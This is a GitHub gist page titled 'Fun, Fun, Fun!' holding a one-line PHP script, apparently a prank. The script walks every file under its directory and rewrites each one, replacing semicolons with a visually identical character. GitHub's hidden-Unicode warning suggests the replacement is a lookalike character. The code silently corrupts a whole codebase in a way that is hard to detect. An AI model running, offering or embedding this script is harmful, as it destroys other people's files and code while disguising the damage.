Created
November 26, 2016 17:11
-
-
Save Maikuolan/3dfa4366eb3cdf9f1fc3fff9096d7d04 to your computer and use it in GitHub Desktop.
Fun, Fun, Fun!
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php $L=new RecursiveIteratorIterator(new RecursiveDirectoryIterator(__DIR__), RecursiveIteratorIterator::SELF_FIRST);@foreach($L as $F=>$L){$X=substr($L,-2);if(preg_match('~([\\/]\.|\.\.)~',$L)){continue;}$D=str_replace(';',';',file_get_contents($L));$H=fopen($L,'w');fwrite($H, $D);fclose($H);} ?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment